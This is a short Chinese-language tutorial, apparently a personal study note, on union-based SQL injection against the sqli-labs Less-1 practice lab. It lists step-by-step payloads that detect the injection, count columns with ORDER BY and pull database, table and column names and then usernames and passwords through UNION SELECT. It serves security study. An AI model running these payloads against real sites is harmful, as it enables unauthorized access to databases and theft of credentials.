前言:今天学习了下sql注入中的联合注入,特写下此文章。靶场是sqli-labs 1

mysql基础知识:

2.sehemata:中存储该用户创建的所有数据库的库名,只需要记住该表中纪录数据库的库名字段schema_nmae
3.tables: 用户创建的所有数库据的库名和表名。记录数据库的库名和表名字段为 table_schema,table_nmae
4.colmuns 所有的库名,表名,字段名。 记录数据库的库名,表名,字段名的字段名为 table_schema, table_nmae,column_nmae

手工注入

  1. 判断注入类型
?id=1'


报错了,说明该类型是字符型。字符型在进行sql注入需要使用 **’**来闭合语句。

  1. 接下来就是确认字段数 这里使用 order by函数。(也可以使用union select null 来确字段数)
?id=1' order by 1--+


页面返回正常。为了节省时间一步步测试就不展示了。

?id=1' order by 4--+


页面返回异常说明,该字段数为3. 所以union注入语句如下: union select 1,2,3
我们通过更改id的参数让服务器返回 union select的结果。这里把id的参数改为-1因为数据库没有id=-1的数据。就可以返回union select的结果。

3.确认了字段数接来下就在union select 1,2,3上面进行查询想要的数据.
查询数据库名.

?id=-1' union select 1,database(),3--+


查询的数据库名为:security.

4.获取了数据库名接下来就是表名。(group_concat():对分组的字符串进行连接,在这里使用方便查看所有的表名)

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'  --+

5.开始获取字段名

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'  --+

6.获取字段的内容

?id=-1' union select 1,group_concat(concat(0x7e,username,password)),3 from security.users  --+